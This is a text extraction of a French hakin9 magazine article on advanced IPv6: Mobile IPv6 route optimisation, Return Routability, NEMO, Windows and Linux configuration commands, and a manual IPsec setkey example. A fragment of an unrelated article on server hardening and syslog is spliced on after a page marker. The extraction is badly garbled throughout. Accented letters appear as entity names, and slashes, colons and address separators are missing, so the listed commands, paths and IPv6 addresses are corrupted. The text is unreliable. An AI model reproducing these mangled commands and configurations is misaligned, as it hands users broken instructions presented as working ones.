bull Le paquet parvient agrave lrsquoAgent Megravere qui veacuterifie son authentification le deacutechiffre le deacutesencapsule et le retransmet sur le reacuteseau

bull Le correspondant pourra y reacutepondre de maniegravere sy-meacutetrique Cette reacuteponse sera captureacutee par lrsquoAgent Megravere chiffreacutee et authentifieacutee avant drsquoecirctre retrans-mise au mobile dans le tunnel ESP En cas drsquoun deacute-placement en cours de communication le binding cache aura eacuteteacute actualiseacute permettant agrave lrsquoAgent megravere de retrouver son mobile

La Figure 8 positionne ces diffeacuterentes entiteacutes dans un contexte MIPv6

Optimisations de routesLes eacutechanges entre mobiles et correspondants nrsquoeacutetant pas toujours les plus optimums en matiegravere de routage MIPv6 integravegre un mode drsquooptimisation pour les corres-pondants inteacutegrant des fonctions speacutecifiques Il srsquoagit de supprimer simplement la passerelle occasionneacutee par lrsquoAgent Megravere

Pour cela MIPv6 deacutefinit 2 nouvelles options

bull Routing Header de type 2 qui est simplement une extension drsquoen-tecircte Routing Header contenant la Home Address du mobile

bull Home Address Option qui est une sous-option de lrsquoextension drsquoen-tecircte Destination Option Header trai-teacute uniquement par le reacutecepteur du paquet

Lorsquun correspondant supporte loptimisation de rou-tage il maintient tout comme lAgent Megravere une table des associations pour tous les mobiles avec lesquels il est en communication Une veacuterification axeacutee autour drsquoICM-Pv6 est preacutealable avant toute optimisation

Le principe est alors assez proche de celui utiliseacute avec lrsquoAgent Megravere

bull Le mobile en deacuteplacement transmet un Binding Update au correspondant pour lui faire eacutetat de sa nouvelle localisation apregraves en avoir fait de mecircme agrave

table 4 Construction de lrsquoen-tecircte IPv6 exteacuterieure pour ESP en mode tunnel

Champs de lrsquoen-tecircte IPv6 en-tecircte Exteacuterieur en-tecircte InteacuterieurVersion Positionneacute agrave la valeur 6 Aucune modification

DS Copieacute depuis lrsquoen-tecircte inteacuterieur Aucune modification

ECN Copieacute depuis lrsquoen-tecircte inteacuterieur Positionneacute agrave 0

Flow Label Copieacute depuis lrsquoen-tecircte inteacuterieur ou configureacute

Aucune modification

Payload Length Construit Aucune modification

Next Header Positionneacute agrave la valeur de ESP (50) Aucune modification

Hop Limit Construit Deacutecreacutementeacute drsquoune uniteacute

Source Address Construit Aucune modification

Destination Address Construit Aucune modification

Extensions Headers Jamais copieacute mais peut apparaicirctre en postambule

Aucune modification

5201046

Pratique

son Agent Megravere Ce correspondant mettra alors agrave jour son Binding Cache

bull Lorsque le mobile veut transmettre un message au correspondant il utilise en adresse source sa Care-of Address mais ajoute lrsquooption Home Address Option

bull Le paquet subira le routage classique entre le mobi-le et le correspondant remontera dans la pile MIPv6 de ce correspondant qui eacutechangera Care-of Address du champ adresse source et Home Address preacutesen-tes dans lrsquooption Home Address Option Pour la pi-le IPv6 le paquet sera transparent comme prove-nant directement du mobile depuis son reacuteseau Megravere Si ce paquet est proteacutegeacute par IPsec les veacuterifications sappuieront donc sur lrsquoadresse megravere

bull Avant de reacutepondre le correspondant cherchera dans sa table drsquoassociation la Care-Of Address du mobile Il transmettra alors le paquet en utilisant cette Care-Of Address en destination et y ajoutera lrsquooption Rou-ting Header de type 2 remplie avec la Home Address

bull Le paquet parviendra donc au mobile qui eacutechangera preacutealablement lrsquoadresse de destination avec la Home Address Le paquet remontera donc eacutegalement dans les couches de maniegravere totalement transparente

Ce meacutecanisme donne donc des trajectoires opti-mums en matiegravere de routage et permet de limiter les contraintes en matiegravere drsquoingress et drsquooutgress filte-ring Ce meacutecanisme de mise agrave jour dassociation po-se cependant dimportants problegravemes en matiegravere de seacutecuriteacute En effet il est aiseacute de proteacuteger les eacutechan-ges de signalisation entre le mobile et lagent megravere du fait de la relation administrative qui permet par exemple lutilisation dun secret partageacute mais ceci est beaucoup plus compliqueacute en ce qui concerne les correspondants sans protection il serait possible de deacutetourner les communications dun mobile en re-dirigeant le trafic pour lespionner ou de mener une attaque par deacuteni de service Une proceacutedure speacutecifi-que baptiseacutee Return Routability proceacutedure doit donc ecirctre mise en œuvre avant toute deacutecision drsquooptimisa-tion

return routability proceacutedureCette proceacutedure est destineacutee agrave la protection partielle des associations de seacutecuriteacute entre mobile et correspon-dant dans le cas de lrsquooptimisation de route Elle repose sur une utilisation de 4 messages principaux

table 5 Les commandes essentielles IPv6 sous Windows

Commande Netsh Rocirclenetsh interface ipv6 show interface Affiche les interfaces IPv6

netsh interface ipv6 set interface[[interface=]String][[forwarding=]enabled | disabled][[advertise=]enabled | disabled][[mtu=]Integer] [[siteid=]Integer][[metric=]Integer] [[store=]active |persistent]

Permet drsquoactiver le forwarding des interfaces les annonces de Rout-er Advertisement

netsh interface ipv6 add address[[interface=]String][address=]IPv6Address[[type=]unicast | anycast][[validlifetime=]Integer | infinite][[preferredlifetime=]Integer |infinite] [[store=]active | persistent]

Permet drsquoajouter des adresses IPv6 aux interfaces

netsh interface ipv6 showbindingcacheentries

Affiche le Binding cache utiliseacute par MIPv6

netsh interface ipv6 show routes[[level=]normal | verbose][[store=]active | persistent]

Affiche les routes IPv6

netsh interface ipv6 add route[prefix=]IPv6AddressInteger[[interface=]String][[nexthop=]IPv6Address][[siteprefixlength=]Integer][[metric=]Integer] [[publish=]no | yes| immortal] [[validlifetime=]Integer |infinite] [[preferredlifetime=]Integer| infinite] [[store=]active |persistent]

Ajoute une route IPv6 dans la table de routage

netsh interface ipv6 renew[[interface=]String]

Permet la reacuteinitialisation des adresses IPv6

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 47

bull HoTI Home Test Initbull CoTI Care-of Test Initbull HoT Home Testbull CoT Care-of Test

Les correspondants inteacutegrant lrsquooptimisation de route doivent preacutealablement disposer de nonces et drsquoune cleacute secregravete noteacutee Kcn

La proceacutedure utiliseacuteee est la suivante

bull un message HoTI est eacutemis depuis la Home Address du mobile vers le correspondant via lagent megravere Il contient une valeur aleacuteatoire sur 64 bits le Home Init cookie

bull parallegravelement un message CoTI est eacutemis depuis la care-of address du mobile directement vers le nœud correspondant Celui-ci contient une seconde valeur aleacuteatoire sur 64 bits le Care-of Init cookie

bull en reacuteponse au message HoTI un message HoT est eacutemis par le correspondant agrave destination de la Home Address du mobile via lAgent Megravere Ce pa-quet contient entre autres lrsquoindex drsquoun nonce choisi par le correspondant ainsi qursquoun Home Keygen to-ken calculeacute par premier (64 HMAC _ SHA1 (Kcn (home

address | nonce | 0 )))

bull de mecircme en reacuteponse au message CoTI un message CoT est eacutemis par le correspondant vers la Care-of Ad-dress du mobile Ce paquet contient entre autres lrsquoin-dex drsquoun autre nonce choisi par le correspondant ain-si qursquoun Home Keygen token calculeacute par premier (64 HMAC _ SHA1 (Kcn (care-of address | nonce | 0 )))

A lrsquoissue de ces diffeacuterentes eacutetapes le mobile calcule une cleacute noteacutee Kbm

Kbm = SHA1 ( home keygen token | care-of keygen

token)

La Figure 9 repreacutesente le cheminement de ces diffeacute-rents messages au travers de lrsquoInternet

Cette cleacute sera utiliseacutee lors de la mise agrave jour des associa-tions pour authentifier le mobile par le calcul drsquoun HMAC

Cette proceacutedure repose sur lrsquohypothegravese forte qursquoaucun espion nrsquoeacutecoute agrave la fois les messages CoT et HoT qui

normalement empruntent des chemins distincts Dans le cas contrairen il lui serait aiseacute de calculer Kbm et de geacuteneacuterer des faux messages drsquoassociation Cette eacutecou-te nrsquoest pas faisable dans le reacuteseau visiteacute puisque les eacutechanges entre Agent Megravere et mobile sont chiffreacutes Pra-tiquement cette attaque est aiseacutee dans le reacuteseau du correspondant mais elle nrsquoest pas eacutevalueacutee comme eacutetant plus risqueacutee que celles rencontreacutees dans un contexte sans mobiliteacute par simple IP-spoofing NDP spoofinghellip

Afin de reacuteduire les risques les nonces ainsi que la cleacute Kcn sont reacuteguliegraverement actualiseacutes

Mobiliteacute de reacuteseaux NeMOMIPv6 gegravere la mobiliteacute dun hocircte tandis que NEMO as-sure la mobiliteacute dun reacuteseau IPv6 entier appeleacute reacuteseau mobile Dans le cas de NEMO la complexiteacute est centra-liseacutee sur un eacutequipement deacutedieacute le routeur mobile Ain-si chaque mouvement (lorsque le reacuteseau mobile se deacute-place dun reacuteseau daccegraves vers un autre) est transparent pour lensemble des hocirctes IPv6 du reacuteseau mobile Un hocircte IPv6 standard peut ainsi beacuteneacuteficier dune connecti-viteacute permanente au sein dun reacuteseau mobile sans avoir toutefois besoin de protocoles additionnels

NEMO coupleacute avec certaines extensions gegravere notam-ment la mobiliteacute des reacuteseaux IPv6 la continuiteacute des flux les eacutequipements multi-interfaces Dans sa version ac-tuellement standardiseacutee NEMO ne gegravere cependant pas les optimisations de route comme peut le geacuterer MIPv6

Pratique amp Mise en œuvreLa majeure partie des Systegravemes drsquoexploitation des softwares des eacutequipements reacuteseaux actuels disposent drsquoun support IPv6 Vous pourrez le veacuterifier sur le site de lrsquoIPv6 Ready Logo Committee programme mondial de certification IPv6 Vous obtiendrez sur ce site le deacute-tail des impleacutementations actuellement certifieacutees et vous constaterez aiseacutement lrsquoimportant retard de lrsquoEurope

Les infrastructures reacuteseaux europeacuteennes ont eacutegalement accumuleacutees un retard consideacuterable dans cette migration hellip Et pourtant les reacuteseaux de lrsquoenseignement et de la re-cherche proposent depuis deacutejagrave plusieurs anneacutees un sup-port Natif drsquoIPv6 voire du multicast IPv6 Heureusement quelques ISP (Internet Service Provider) tels que Free offrent depuis quelques mois un adressage IPv6

table 6 Commandes principales pour la configuration drsquoIPv6 sous linux

Commande ip Rocircleip -6 address show [dev ltpeacuteripheacuteriquegt] Affiche les adresses IPv6

ip -6 addr add ltadresseipv6gtltlongueurdupreacutefixegt dev ltinterfacegt Ajoute une adresse IPv6

ip -6 route show [dev ltpeacuteripheacuteriquegt] Affiche les routes IPv6

ip -6 route add ltreacuteseauipv6gtltlongueurdupreacutefixegt via ltadresseipv6gt [dev ltpeacuteripheacuteriquegt]

Ajoute une route IPv6

ip -6 neigh show [dev ltpeacuteripheacuteriquegt] Affiche les voisins NDP

ip -6 neigh add ltadresseIPv6gt lladdr ltadressedelacouche-liengt dev ltpeacuteripheacuteriquegt

Ajoute un voisin NDP

5201048

Pratique

Ce paragraphe a pour objectif de vous faire appreacute-hender la mise en œuvre basique drsquoIPv6 sur les prin-cipaux systegravemes utiliseacutes agrave savoir Windows et Linux Nous supposons que vous disposez drsquoores et deacutejagrave drsquoun adressage IPv6 parce que vous ecirctes par exem-ple dans une des situations preacuteceacutedemment eacutevoqueacutees Rappelons que les Internet IPv4 et IPv6 sont bien dis-tincts mecircme si une utilisation des machines en double pile permet la superposition de certaines portions Dans le cas contraire si vous deacutesirez plus qursquoun reacuteseau local il vous faudra utiliser lun des meacutecanismes de transition deacutecrits dans lrsquoarticle preacuteceacutedent Nous vous conseillons de preacutefeacuterence un tunnel broker et en second choix un tunnel 6to4

avec WindowsLa majeure partie des versions courantes de Windows disposent drsquoun support IPv6 Vista XP SP1 XP SP2 Server 2003 2008 Sous Vista et Server 2008 ce sup-port est activeacute par deacutefaut Sous XP ou Server 2003 il vous faudra lrsquoactiver au preacutealable

Selon les versions de Windows les meacutecanismes dis-ponibles sont plus ou moins complets

La mobiliteacute IPv6 ne prend en compte que la partie correspondant ni Home Agent ni Nœud Mobile ne sont disponibles

Sous Windows XP et Server 2003 IPsec pour IPv6 of-fre les meacutecanismes AH et ESP mais le chiffrement ainsi que la gestion automatique des cleacutes nrsquoest pas disponible Seuls Vista et Server 2008 offrent ces fonctionnaliteacutes

Vista et Server 2008 permettent une utilisation de DHCPv6

activation de la pile iPv6 amp Configuration des adressesCe besoin ne se retrouve que sous XP et Windows Server 2003 dont la pile IPv6 est par deacutefaut deacutesacti-veacutee

Cette activation se fait par le biais de lrsquooutil ipv6exe sous Windows XP ougrave de la commande netsh disponible sur toutes les versions

Sous Windows XP il srsquoagit drsquoexeacutecuter ipv6 install

Bien entendu les interfaces concerneacutees doivent ac-cepter la connectiviteacute TCPIPv6 dans le menu Proprieacute-teacutes adeacutequat

Une adresse Lien-locale associeacutee agrave chacune de vos cartes reacuteseau sera alors automatiquement configureacutee par concateacutenation du preacutefixe fe80 et de votre identifiant drsquointer-face deacutefini depuis lrsquoadresse MAC associeacutee Les interfaces relieacutees agrave un reacuteseau IPv6 constitueacute drsquoun routeur annonccedilant des Router Advertisement obtiendront de mecircme automa-tiquement une adresse globale unicast unique routable et contenant lrsquoadresse MAC de lrsquointerface concerneacutee

La commande ipconfig all (ou netsh show) vous prou-vera votre connectiviteacute La figure 10 vous montre une telle configuration sous Windows XP

Vous constaterez eacutegalement une adresse suppleacute-mentaire qualifieacutee de Temporaire Il srsquoagit en fait drsquoune adresse globale de dureacutee de vie relativement courte destineacutee au masquage de lrsquoadresse MAC (disponible depuis le SP2) Au besoin vous pourrez la deacutesactiver par ipv6 ndashp gpu useTemporaryAddresse no

Connectiviteacute cheminLorsque vous disposerez drsquoune adresse routable ou simplement pour tester la connectiviteacute entre deux ma-chines vous pourrez utiliser la commande ping6 qui est le pendant de ping pour IPv4 Cette commande geacute-negravere un ensemble de paquets ICMPv6 Echo Request et affiche les reacuteponses associeacutees ICMPv6 Echo Re-ply

La Figure 11 montre un tel ping6 sur wwwgooglefr deacutesormais adressable en IPv6 Les paquets reacutesultants de cette commande sont eacutegalement indiqueacutes par cap-ture du trafic avec Wireshark

En IPv4 pour connaicirctre le trajet suivi par les paquets la commande tracert est geacuteneacuteralement utiliseacutee En IPv6 il srsquoagit deacutesormais de tracert6

Cache des voisins (NDP Cache)La reacutesolution MACAdresse en IPv4 donne naissan-ce au cache ARP obtenu par arp ndashan par exemple En IPv6 il srsquoagit deacutesormais du cache NDP qui peut ecirctre ob-tenu par ipv6 nc ou netsh interface ipv6 show neighbors

table 7 Reacutefeacuterences

Lien Titrehttplivrepoint6netindexphp IPv6 Theacuteorie et Pratique - Gisegravele Ciza-

ult

httpipv6readyorg Site de lrsquoIPv6 Ready Logo Committee

httpwwwdeepspace6netdocsipv6_status_page_appshtml Statut des applications reacuteseaux sup-portant IPv6

httpmirrorsdeepspace6netLinux+IPv6-HOWTO-fr HOWTO IPv6 pour Linux

httpwwwlinux-franceorgprjinetdocguidesAdvanced-routing-Howto HOWTO du routage avanceacute et du con-trocircle de trafic sous Linux

httpwikiwiresharkorgESP_Preferences Le module de deacutechiffrement et drsquoauthentification ESP pour Wireshark

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 49

Diverses CommandesLrsquoensemble des configurations essentielles IPv6 sous Windows srsquoeffectuent agrave lrsquoaide de Netsh (etou ipv6exe sous Windows XP) Hormis celles preacuteceacutedemment deacutefi-nies les commandes essentielles sont indiqueacutees dans le Tableau 5

accegraves Web en iPv6Classiquement en IPv4 les URLs (Uniform Resource Locator) utiliseacutees dans les accegraves HTTP (HypertexT Transfert Protocol) utilisent le nommage DNS (Domain Name System) Avant toute requecircte lrsquoadresse du ser-veur HTTP est donc geacuteneacuteralement preacutealablement tra-duite par le biais des serveurs DNS Avec IPv6 il en est de mecircme le browser dans un premier temps recher-che lrsquoensemble des adresses IP associeacutees au serveur HTTP Si celui-ci dispose drsquoune adresse IPv6 il tentera dans un premier temps de le joindre par IPv6 En cas drsquoeacutechec crsquoest le protocole IPv4 qui sera utiliseacute Nous rappelons qursquoil nrsquoest pas indispensable que le serveur DNS soit adresseacute en IPv4 pour retourner des adresses IPv6

A lrsquoheure actuelle la majeure partie des navigateurs supporte IPv6 par deacutefaut Firefox Internet Explorer hellip A titre drsquoexemple vous pourrez vous connecter sur wwwkamenet Si vous disposez drsquoun accegraves exteacuterieur IPv6 et drsquoun browser compatible vous devriez voir en premiegravere page une tortue animeacutee Le cas eacutecheacuteant elle sera fixe

Avec IPv6 les adresses eacutetant 4 fois plus longues les URLs contenant des IPs devraient encore moins se pratiquer Cependant ceci reste possible et pour diffeacute-rencier les de lrsquoadresse avec la section port de lrsquoURL il faut entourer lrsquoIP de [ ] (Exemple http[20014860a00368] pour acceacuteder agrave google en IPv6)

avec LinuxQuelle que soit la distribution contemporaine utiliseacutee celle-ci contient IPv6 Vous pourrez neacuteanmoins tester la preacutesence de son support dans le noyau par veacuterification de la preacutesence du chemin procnetif_inet6 Le mo-dule IPv6 doit eacutegalement ecirctre chargeacute avant toute utilisa-tion Un appel agrave lsmod vous le confirmera

table 8 Liste des RFCs relatives agrave IPv6

Norme TitreRFC 2403 The Use of HMAC-MD5-96 within ESP and AH

RFC 2404 The Use of HMAC-SHA-1-96 within ESP and AH

RFC 2405 The ESP DES-CBC Cipher Algorithm With Explicit IV

RFC 2409 The Internet Key Exchange (IKE)

RFC 2451 The ESP CBC-Mode Cipher Algorithms

RFC 3566 The AES-XCBC-MAC-96 Algorithm and Its Use With IPsec

RFC 3602 The AES-CBC Cipher Algorithm and Its Use with IPsec

RFC 3686 Using Advanced Encryption Standard (AES) Counter Mode With IPsec Encapsulating Security Payload (ESP)

RFC 3775 Mobility Support in IPv6

RFC 3776 Using IPsec to Protect Mobile IPv6 Signaling Between Mobile Nodes and Home Agents

RFC 3963 Network Mobility (NEMO) Basic Support Protocol

RFC 4109 Algorithms for Internet Key Exchange version 1 (IKEv1)

RFC 4301 Security Architecture for the Internet Protocol

RFC 4302 IP Authentication Header

RFC 4303 IP Encapsulating Security Payload (ESP)

RFC 4306 Internet Key Exchange (IKEv2) Protocol

RFC 4307 Cryptographic Algorithms for Use in the Internet Key Exchange Version 2 (IKEv2)

RFC 4385 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4835 Cryptographic Algorithm Implementation Requirements for Encapsulating Security Payload (ESP) and Authenti-cation Header (AH)

RFC 4877 Mobile IPv6 Operation with IKEv2 and the Revised IPsec Architecture

RFC 4885 Network Mobility Support Terminology

RFC 4886 Network Mobility Support Goals and Requirements

RFC 4887 Network Mobility Home Network Models

RFC 4888 Network Mobility Route Optimization Problem Statement

RFC 4889 Network Mobility Route Optimization Solution Space Analysis

5201050

Pratique

activation de la pile iPv6 amp Configuration des adressesSous Linux lrsquoensemble des configurations IPv6 peut ecirctre reacutealiseacute agrave lrsquoaide des anciennes commandes ifcon-fig netstat hellip

Depuis les noyaux au moins supeacuterieurs au 24 le sous-systegraveme reacuteseau a eacuteteacute complegravetement reacuteeacutecrit Lrsquoiproute2 eacutetend ainsi grandement les possibiliteacutes et centralise les configurations reacuteseaux La commande principale est ip

Le Tableau 6 preacutesente donc quelques une des op-tions principales pour configurer Ipv6

Le systegraveme Linux eacutetant lun des mieux documenteacutes si lrsquoune des options vous manque vous pouvez toujours utiliser la commande man (exemple man 8 ip)

Mise en œuvre mode routeurPour mettre en place un routeur etou une passerelle vous devez activer le forwarding entre les diffeacuterentes in-terfaces reacuteseaux Ceci se reacutealise par le biais de fichiers de configuration speacutecifiques agrave chaque distribution (geacuteneacute-ralement sous lrsquoarborescence etcsysconfignetwork) ou directement par dialogue avec le Kernel Ce dialogue est temporaire et agrave chaque reboot il sera reacuteinitialiseacute (sauf utili-sation de script de deacutemarrage geacuteneacuteralement etcrclocal)

Il se reacutealise par des appels agrave la commande sysctl ou par eacutecriture dans les fichiers propres au kernel

Il srsquoagit sous IPv6 de lrsquoarborescence procsysnetipv6 Le fait drsquoeacutecrire 1 dans le fichier procsysnetipv6confallforwarding activera le forwarding entre toutes les interfaces Au besoin le controcircle du forwarding par interface doit ecirctre reacutealiseacute en utilisant les jeux de regravegles de netfilter-IPv6 (agrave lrsquoaide drsquoip6tables) en speacutecifiant les peacuteripheacuteriques dentreacutee et de sortie

Il vous faudra certainement activer en plus les Router Advertisements afin de permettre aux machines preacutesen-tes sur le lien de srsquoautoconfigurer Ces paquets sont geacute-neacutereacutes suite au deacutemarrage du deacutemon radvd Ce deacutemon utilise un fichier de configuration preacutesent geacuteneacuteralement dans etcradvdconf Ce fichier preacutecise les principaux paramegravetres des Router Advertisements agrave savoir

bull le preacutefixebull la dureacutee de vie du preacutefixebull la freacutequence des envois dannoncebull hellip

En dernier point il vous faudra peut-ecirctre activer un protocole de routage intra-domaine (Ripng OSPfv3) voire inter-domaine (Is-Is BGP-4+)

Listing 1 Structure geacuteneacuterale du fichier setkeyconf

flush

spdflush

Configuration SPD

Configuration SAD

spddump

dump esp

Listing 2 Configuration SPD sur 3ffe1

spdadd -6 3ffe1 3ffe2 any -P out ipsec esptransportrequire

spdadd -6 3ffe1 3ffe3 any -P out ipsec esptransportrequire

Listing 3 Configuration SAD sur 3ffe1

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

add 3ffe1 3ffe3 esp 11

-E 3des-cbc 3descbcencryptiontesting

-A hmac-sha1 hmacsha1authenticati

Listing 4 Configuration SPD et SAD sur 3ffe2

spdadd -6 3ffe1 3ffe2 any -P in ipsec esptransportrequire

add 3ffe1 3ffe2 esp 10

-E aes-cbc aescbcencryption

-A hmac-sha1 hmacsha1authenticati

Meacutecanismes iPv6 avanceacutes

hakin9orgfr 51

Commandes et outils principauxLes commandes principales disponibles sous Linux sont eacutequivalentes agrave celle preacuteceacutedemment eacutevoqueacutees pour Windows Les principales sont les suivantes

bull ping6 (Packet INternet Grouper) pour diagnos-tiquer la connectiviteacute reacuteseau (Exemple ping6 [-I

ltpeacuteripheacuteriquegt] FF021 vous donnera lrsquoensemble des interfaces preacutesentes sur le lien-local

bull traceroute6 pour deacutetecter le chemin emprunteacute par les paquets

bull tracepath6 similaire au traceroute6 trace le chemin vers une destination donneacutee tout en deacutecouvrant la MTU le long de ce chemin

bull nslookup host utiles pour la reacutesolution DNS en v4 ou v6

Lrsquoensemble des outils classiques reacuteseaux disponibles sur Linux a eacuteteacute adapteacute agrave IPv6 ssh telnet ftp netcat nmap hellip

Le firewall iptable classique dispose eacutegalement drsquoune variante baptiseacutee ip6table pour IPv6

Mise en œuvre drsquoiPsecLa pile IPsec est maintenant inteacutegreacutee en natif sur les noyaux 2547 et supeacuterieurs les versions infeacuterieures neacute-cessitaient lrsquoinstallation de piles speacutecifiques style FreeSWAN ou celle du projet japonais USAGI Lrsquoimpleacutementa-tion actuelle repose drsquoailleurs sur celle du projet USAGI Elle peut cependant ne pas ecirctre activeacutee par deacutefaut pour IPv6 il vous faudra donc potentiellement relancer preacutea-lablement une compilation du noyau et y activer AH ESP voire IPComp (Compression de charge IP)

La configuration des politiques IPsec ainsi que des cleacutes et algorithmes en mode partageacute srsquoeffectue agrave lrsquoaide de lrsquooutil setkey deacuterivant du projet KAME et fournie avec le package ipsec-tools Si vous choisissez un mode de configuration automatique des associations de seacutecuriteacute il vous faudra user drsquoun outil suppleacutementaire racoon ou racoon2 selon la version drsquoIKE choisie

Par simplification nous choisirons un mode manuel de gestion des associations de seacutecuriteacute Supposons donc que nous deacutesirions proteacuteger en mode transport le trafic depuis une machine drsquoadresse 3ffe1 vers les machines

bull 3ffe2 par ESP (Chiffrement aes-cbc cleacute aescbcencryption Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 10)

bull 3ffe3 par ESP (Chiffrement 3des-cbc cleacute 3descbcencryptiontesting Authentification hmac-sha1 cleacute hmacsha1authenticati SPI 11)

Chacune de ces diffeacuterentes machines devra donc ecirctre configureacutee pour prendre en compte ce parameacutetrage IPsec Ceci peut se reacutealiser par deacutefinition drsquoun fichier de configuration nommeacute par exemple setkeyconf utili-sant le format suivant (Listing 1)

Consideacuterant 3ffe1 Il faut donc dans un premier temps deacutefinir les SPD (Security Policy Database) afin que tout trafic sortant en direction de 3ffe2 et 3ffe3 soit proteacutegeacute par Ipsec (Listing 2)

Dans un second temps il faut indiquer les SPI les cleacutes ainsi que les algorithmes agrave utiliser au niveau de la SAD (Listing 3)

Bien entendu 3ffe2 et 3ffe3 doivent comporter les SPDs et SADs correspondantes afin que tout trafic reccedilu puisse ecirctre authentifieacute et deacutechiffreacute La configuration de ces diffeacuterents eacuteleacutements sur 3ffe2 sera donc proche de Listing 4

Ainsi tout trafic provenant de 3ffe1 sera proteacutegeacute par ESP en mode transport avec les cleacutes et algorithmes deacutefinies

Pour activer ces paramegravetres il vous faudra utiliser setkey setkey ndashf setkeyconf

Vous remarquerez que seuls les eacutechanges depuis 3ffe1 vers 3ffe2 et ceux depuis 3ffe1 vers 3ffe3 sont proteacute-geacutes La reacuteciproque nrsquoest pas vraie par exemple les pa-quets provenant de 3ffe2 vers 3ffe1 ne sont en aucun cas proteacutegeacutes Vous pouvez degraves agrave preacutesent veacuterifier ces asser-tions par un ping depuis 3ffe1 vers 3ffe3 Les Echo Re-quest doivent ecirctre proteacutegeacutes par IPsec tandis que les Echo Reply circuleront en clair Afin de faciliter cette analyse vous pourrez utiliser Wireshark ainsi que le module ESP inteacutegreacute permettant le deacutechiffrement des paquets

ConclusionNous avons tenteacute de vous initier aux divers meacutecanismes principaux composant IPv6 Ces meacutecanismes sont rela-tivement nombreux la modification de la couche reacuteseau neacutecessite en effet beaucoup dadaptation IPv6 est un pro-tocole mature ses premiegraveres bases ont eacuteteacute normaliseacutees en 1998 et nont cesseacute decirctre raffineacuteee depuis par lIETF La majeure partie des systegravemes dexploitation permettent actuellement de mettre en œuvre ce protocole le nombre dadresses IPv4 allouable eacutetant presque eacutepuiseacute la transi-tion est ineacuteluctable hellip cest donc degraves maintenant quil sagit de se familiariser avec ses concepts sa mise en œuvre et les nouvelles opportuniteacutes offertes par IPv6

reacutefeacuterencesVous trouverez dans les Tableaux 7 et 8 les reacutefeacuterences normes ainsi que des liens Web ougrave vous obtiendrez des renseignements compleacutementaires sur les divers meacuteca-nismes eacutevoqueacutes agrave travers cet article

NB Toutes les figures de cet article sont agravea teacuteleacutechar-ger depuis le site web de Hakin9 wwwhakin9orgfr

Agrave PrOPOS De LauteurFreacutedeacuteric Roudaut travaille actuellement chez Orange Labs (anciennement France Telecom RampD) agrave Sophia Antipolis pour le compte drsquoOrange Business Services ITampLabs depuis 1 an et demi

Page 9: hakin9_05_2010_FR

regravegles de seacutecurisation

hakin9orgfr 11

La seacutecurisation et la mise agrave jour de serveursma-chines virtuels doit ecirctre consideacutereacutee de la mecircme maniegravere que pour des serveurs physiques ils sont bien souvent oublieacutes Sous Linux il existe plusieurs logiciels de virtualisation VIRTUALBOX VMWARE Xen Qemu(Qemu et VIRTUALBOX sont gratuits mais ne sont pas optimiseacutes pour des CLUSTERS) Il est aussi possible dutiliser une machine virtuelle pour tester les politiques de seacutecuriteacute avant de les appliquer sur un serveur en distribution Le fait quune machine soit virtuelle ne doit pas limiter la maniegravere de la seacutecuriser il faut consideacuterer que cest une machine physique avec quand mecircme quelques atouts (notamment la faciliteacute de remplacement en quelques commandes la machines virtuelle est re-monteacutee agrave son original)

Un cœur de reacuteseau virtualiseacute apporte t-il plus de seacutecuriteacute qursquoune batterie de machineAgrave ce genre de question le normand qui sommeille en moi aurait tendance agrave reacutepondre oui et non Il faut bien comprendre le fonctionnement si je mets en place une virtualisation de serveur mes serveurs pour communi-quer entre eux vont communiquer sans passer par le reacuteseau (en fait la partie reacuteseau entre les serveurs est elle

aussi virtualiseacutee) donc la partie habituellement physique entre mes serveurs (cacircbles reacuteseaux et eacuteleacutements actifs) qui peut engendrer des failles de seacutecuriteacute de lrsquointer-ception de communication nrsquoa plus lieu drsquoecirctre (bien sucircr drsquoautres possibiliteacutes drsquointerceptions sont possibles via des applications tiers mais beaucoup moins discregravetes)

Drsquoun autre cocircteacute si une des machines virtuelles est compromise il est tregraves facile de lrsquoisoler et de remettre sa fonction en place (des routines automatiques exis-tent) mais le problegraveme vient de la machine hocircte elle est accessible du reacuteseau il est donc possible de la com-promettre ce qui revient agrave compromettre lrsquoensemble des machines virtuelles (voir Figure 5)

Journalisation et sauvegardesLa journalisation et lrsquoenregistrement des eacutevegravenements des applications sont geacutereacutes par deacutefaut par SYSLOG (configureacute via le fichier etcsyslogdconf) il permet drsquoeffectuer une centralisation des journaux drsquoaudit ainsi qursquoune gestion par niveau de criticiteacute (par deacutefaut ils sont stockeacutes dans varloglog)

Ses diffeacuterents niveaux

bull emerg kernel panic systegraveme HS bull alert doit ecirctre corrigeacute immeacutediatement

Figure 5 Exemple de communication entre eacuteleacutements du cluster

Avec Virtualisation Sans Virtualisation

Reacuteseaude lrsquoenterprise

Reacuteseaude lrsquoenterprise

5201012

dossier

bull crit panne mateacuteriellebull err erreur geacuteneacuteriquebull warning avertissementbull notice avertissement neacutecessitant un traitement

particulierbull info informationbull debug deacutebogage

Certains de ces niveaux ne doivent ecirctre utiliseacutes que dans le cas de deacuteveloppement drsquoapplication ou tests de fonctionnement (info et debug) de mecircme il est tregraves fortement conseilleacute de limiter ces informations au strict besoin Le fait de tout journaliser produirait des jour-naux drsquoune taille tregraves importante qui seraient totale-ment inexploitables

bull Atteinte de la taille maximum du support de stocka-ge plus aucune information ne sera journaliseacutee (si une option drsquoeacutecrasement est activeacutee risque de per-te drsquoinformations)

bull Tri et exploitation beaucoup trop longs (imaginez la journalisation drsquoune journeacutee qui prend plusieurs jours agrave analyser)

Il est donc primordial drsquoappliquer une journalisation adapteacutee au mode drsquoutilisation un mode debug peut ecirctre utiliseacute pour analyser le bon fonctionnement drsquoune application mais il ne doit pas ecirctre constamment acti-veacute

La protection des journaux est aussi essentielle la derniegravere chose que fera un attaquant apregraves srsquoecirctre intro-duit chez vous est drsquoeffacer ses traces un attribut de protection sur les fichiers est donc tregraves important (voir le chapitre preacuteceacutedent Droits et fichiers)

Quel est lrsquointeacuterecirct de la journalisation

bull Comme eacutenonceacute preacuteceacutedemment dans le cas de test du fonctionnement drsquoune application

bull Pour deacutetecter lrsquoorigine de problegravemes sur la machi-ne

bull Pour tracer les actions (sur le systegraveme dans une applicationhellip)

bull Afin de deacutetecter des agissements anormauxbull Pour proteacuteger lrsquoadministrateur la socieacuteteacute en vertu

des lois (respect des lois)

